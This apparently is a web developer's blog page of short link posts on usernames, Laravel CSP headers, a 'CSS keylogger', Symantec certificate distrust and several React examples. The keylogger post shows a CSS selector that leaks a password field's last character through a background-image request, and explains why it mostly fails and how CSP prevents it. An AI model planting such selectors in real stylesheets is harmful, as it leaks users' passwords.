The problem with usernames

In “Let’s talk about usernames” James Bennett – author of django-registration – digs deeper into an at first seemingly simple thing such as usernames and how to keep ‘m safe and unique.

And no, you can’t make it by just doing a a simple comparison. You’ll have to think of more than that if you want to do it good:

  • Casing: John_Doe vs. JOHN_DOE
  • Homographs: а (U+0430 CYRILLIC SMALL LETTER A) vs. a (U+0061 LATIN SMALL LETTER A)
  • Reserved words (especially when used in e-mail addresses and (sub)domains): Think of admin and hostmaster
  • Reserved words (especially when used in URLs): Think of login, register, and even keybase.txt
  • Confusables: paypal vs. paypa1
  • Misspellings
  • Non-ASCII Characters: ç vs. c

Let’s talk about usernames →

(via Matthew)

To tackle the Non-ASCII Characters in JavaScript, Lea Verou recently tweeted this nice trick, using String.protototype.normalize:

'céçile'.normalize("NFD").replace(/[\u0300-\u036f]/g, "");
// ~> cecile
Elsewhere , , Leave a comment

Solo: A Star Wars Story, recut to The Beastie Boys’ Sabotage

Nice!

Elsewhere , Leave a comment

Easily set Content Security Policy headers in Laravel with laravel-csp

Speaking of Content Security Policy, the folks at Spatie – who else? – have created a Laravel Package to easily take care or your CSP needs in a Laravel-based app.

Even without knowing the inner workings of the packge, the custom Policy below is easy to understand:

namespace App\Services\Csp;

use Spatie\Csp\Directive;
use Spatie\Csp\Policies\Policy as BasePolicy;

class Policy extends BasePolicy
{
    public function configure()
    {
        $this
            ->addGeneralDirectives()
            ->addDirectivesForBootstrap()
            ->addDirectivesForCarbon()
            ->addDirectivesForGoogleFonts()
            ->addDirectivesForGoogleAnalytics()
            ->addDirectivesForGoogleTagManager()
            ->addDirectivesForTwitter()
            ->addDirectivesForYouTube();
    }

    protected function addGeneralDirectives(): self
    {
        return $this
            ->addDirective(Directive::BASE, 'self')
            ->addNonceForDirective(Directive::SCRIPT)
            ->addDirective(Directive::SCRIPT, [
                'murze.be',
                'murze.be.test',
            ])
            ->addDirective(Directive::STYLE, [
                'murze.be',
                'murze.be.test',
                'unsafe-inline',
            ])
            ->addDirective(Directive::FORM_ACTION, [
                'murze.be',
                'murze.be.test',
                'sendy.murze.be',
            ])
            ->addDirective(Directive::IMG, [
                '*',
                'unsafe-inline',
                'data:',
            ])
            ->addDirective(Directive::OBJECT, 'none');
    }

    protected function addDirectivesForBootstrap(): self
    {
        return $this
            ->addDirective(Directive::FONT, ['*.bootstrapcdn.com'])
            ->addDirective(Directive::SCRIPT, ['*.bootstrapcdn.com'])
            ->addDirective(Directive::STYLE, ['*.bootstrapcdn.com']);
    }

    protected function addDirectivesForCarbon(): self
    {
        return $this->addDirective(Directive::SCRIPT, [
            'srv.carbonads.net',
            'script.carbonads.com',
            'cdn.carbonads.com',
        ]);
    }

    protected function addDirectivesForGoogleFonts(): self
    {
        return $this
            ->addDirective(Directive::FONT, 'fonts.gstatic.com')
            ->addDirective(Directive::SCRIPT, 'fonts.googleapis.com')
            ->addDirective(Directive::STYLE, 'fonts.googleapis.com');
    }

    protected function addDirectivesForGoogleAnalytics(): self
    {
        return $this->addDirective(Directive::SCRIPT, '*.google-analytics.com');
    }

    protected function addDirectivesForGoogleTagManager(): self
    {
        return $this->addDirective(Directive::SCRIPT, '*.googletagmanager.com');
    }

    protected function addDirectivesForTwitter(): self
    {
        return $this
            ->addDirective(Directive::SCRIPT, [
                'platform.twitter.com',
                '*.twimg.com',
            ])
            ->addDirective(Directive::STYLE, [
                'platform.twitter.com',
            ])
            ->addDirective(Directive::FRAME, [
                'platform.twitter.com',
                'syndication.twitter.com',
            ])
            ->addDirective(Directive::FORM_ACTION, [
                'platform.twitter.com',
                'syndication.twitter.com',
            ]);
    }

    protected function addDirectivesForYouTube(): self
    {
        return $this->addDirective(Directive::FRAME, '*.youtube.com');
    }
}

Using the policy above, Freek’s site now gets an A+ by the aforementioned securityheaders.io service

Using Content Security Policy headers in a Laravel app →
laravel-csp (GitHub) →

Elsewhere , , , Leave a comment

CSS Keylogger (and why you shouldn’t worry about it)

Leveraging CSS attribute selectors it – in theory – is possible to write a keylogger in pure CSS. The selector below for example targets all input[type="password"] elements whose last character is an a:

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

The theory goes that whenever a user presses the a character inside an input[type="password"], a request to http://localhost:3000/a will be made, thus leaving a breadcrumb trail in some server log for an admin to scoop up and reassemble. Duplicate the selector above for all possible characters, and you’ll see the password appear in your server logs per keystroke.

I see many people on Twitter freaking out because of this (what if it’s in a WordPress Theme you’ve installed?!), yet I don’t really worry about it as in practice this doesn’t work (tested with latest Firefox and Chrome on macOS):

  1. It only works with an initial value being set on an input, and not per key press nor after blurring the field.
  2. (Following up on 1) It will only catch the last character of a password when its being prefilled in the value attribute.
  3. It’s not triggered for values that have been autocompleted by the browser’s credentials manager / your password manager of choice.
  4. It can’t handle repeat characters, as the browser won’t re-request the background image in that case (unless you add some cache preventing headers on the receiving end)
  5. Due to parallelism it’s not guaranteed for the requests to be received by the server in the order they were typed in.
  6. What about mouse clicks in the password field (to change position) and the use of arrow keys / backspace?

Above that you can easily prevent it server-side by setting the proper Content Security Policy.

# UPDATE 2018.02.22: As Robin below and Mathias online detailed it can give issues when using two way databinding which tends to update the value attribute after each keypress (e.g. Think of React re-rendering after changing state) … but in that case it still is no “CSS (only) keylogger”.

Other attempts such as Keylogger using webfont with single character unicode-range (demo here) are getting closer, yet still don’t result in pure CSS based keylogger, as it can’t handle repeated characters.

So no worries there, CSS itself is still safe. It’s only when leveraged with another technology (JavaScript) that it can potentially leak data.

And again, you can still prevent it in that case too: Content Security Policy

As you were soldiers, carry on …

Elsewhere , , , 4 Comments

Chrome 66 to Untrust Symantec-issued Certificates

Chrome is really tightening up the security game here. In Chrome 66 it will untrust Symantec-issued SSL/TLS certificates, after Symantec has repeatedly screwed up by wrongly issuing certificates for domains, including google.com itself.

Thanks to a decision in September by Google to stop trusting Symantec-issued SSL/TLS certs, from mid-April Chrome browser users visiting websites using a certificate from the security biz issued before June 1, 2016 or after December 1, 2017 will be warned that their connection is not private and someone may be trying to steal their information. They will have to click past the warning to get to the website.

This will also affect certs that use Symantec as their root of trust even if they were issued by an intermediate organization. For example, certificates handed out by Thawte, GeoTrust, and RapidSSL that rely on Symantec will be hit by Google’s crackdown. If in doubt, check your cert’s root certificate authority to see if it’s Symantec or not.

Arkadiy Tetelman has recently done an experiment and made an inventory of how many sites in the Alexa Top 1 Million that will be affected by this.

Included in the 100,000 affected sites we find/found (some have gotten a new certificate by now) icloud.com, tesla.com, wechat.com, etc.

Quantifying Untrusted Symantec Certificates →
Chrome’s Plan to Distrust Symantec Certificates →
Beware the looming Google Chrome HTTPS certificate apocalypse! →

Elsewhere , , Leave a comment

React Native and iPhone X: <SafeAreaView />

One of the elements that shipped with React 0.50 is <SafeAreaView />. It’s a component which you can use to prevent your content from creeping below The Notch and Home Indicator on iPhone X.

import {
  ...
  SafeAreaView
} from 'react-native';
class Main extends React.Component {
  render() {
    return (
      <SafeAreaView style={styles.safeArea}>
        <App />
      </SafeAreaView>
    )
  }
}
const styles = StyleSheet.create({
  ...,
  safeArea: {
    flex: 1,
    backgroundColor: '#ddd'
  }
})

For the best result give the <SafeAreaView /> the same backgroundColor as your <App /> component, or use the <SafeAreaView /> within your <App /> component where needed.

Projects like react-navigation use <SafeAreaView /> to properly layout their StackNavigator.

Do note that the version that ships with RN itself differs from the version maintained by the React Community.

Using SafeAreaView with iPhone X and React Native →
React Native & iPhone X →

Elsewhere , , 5 Comments

Proton Native – Create Native Desktop Applications Powered by React

Unlike Electron this one results in true Native Components being outputted.

Proton Native does the same to desktop that React Native did to mobile. Build cross-platform apps for the desktop, all while never leaving the React eco-system. Popular React packages such as Redux still work.

import React, { Component } from 'react';

import { render, Window, App, Button } from 'proton-native';

class Example extends Component {
  render() {
    return (
      <App>
        <Window title="Example" height={300} width={300} menuBar={false}>
          <Button stretchy={false} onClicked={() => console.log('Hello')}>
            Button
          </Button>
        </Window>
      </App>
    );
  }
}

render(<Example />);

On Windows the code above renders to this:

And in case you were wondering: yes, it plays nice with existing React libraries such as Redux 🙂

Proton Native →

Elsewhere , , Leave a comment

React’s new context (React 16.3.0)

One of the new things in React 16.3.0 is a new context API:

Typically, data in a React application is passed top-down (parent to child) via props. But sometimes it’s useful to pass values through multiple levels of abstraction without involving each intermediate. Examples include a locale, or a UI theme.

Context in React provides a mechanism for a child component to access a value in an ancestor component. From now on we’ll refer to the ancestor as the provider and the child as the consumer.

Below is an example on how to use it. Create a context first, and then create a Provider along with one (or more) Consumer(s) that will be able to read the data from the Provider using its own context prop.

import React from 'react';
import {render} from 'react-dom';

const styles = {
  dark: {
    backgroundColor: 'black',
    color: 'white',
  },
  light: {
    backgroundColor: 'white',
    color: 'black',
  },
};

// 1. Create a context
const ThemeContext = React.createContext();

// 2. Our app contains a provider for ThemeContext.
// Anything we store into the ThemeContext will be accessible to a consumer
class App extends React.Component {
  state = {
    theme: 'light'
  };

  toggleTheme = () => {
    this.setState(({ theme }) => ({
      theme: theme === 'light' ? 'dark' : 'light',
    }));
  }

  render() {
    return (
      <ThemeContext.Provider value={this.state}>
        <button onClick={this.toggleTheme}>toggle theme</button>
        <ThemableDiv />
      </ThemeContext.Provider>
    );
  }
}

// 3. A consumer with access to the data contained in ThemeContext
class ThemableDiv extends React.PureComponent {
  render() {
    return(
      <ThemeContext.Consumer>
        {context => <div style={styles[context.theme]}>{context.theme}</div>}
      </ThemeContext.Consumer>
    );
  }
}

render(<App />, document.getElementById('root'));

In case you want to play with the code:

Note: The example is based on an example by Kent C. Dodds.

Original Content , Leave a comment

Generate code screenshots straight from within Visual Studio Code with Polacode

Remember those really nice screenshots of code, generated with Carbon? Polacode is an extension for Visual Studio Code that offers (somewhat) the same functionality directly inside the IDE.

Polacode – Polaroid for your Code →

Elsewhere , , Leave a comment

Easily share Wifi Passwords with friends on iOS 11

When a nearby contact with an iOS device wants to connect to a hotspot you are familiar with (e.g. your device knows the password), you can easily share the password with their device:

It’s small additions like this that put a smile on my face 🙂

Elsewhere , , , Leave a comment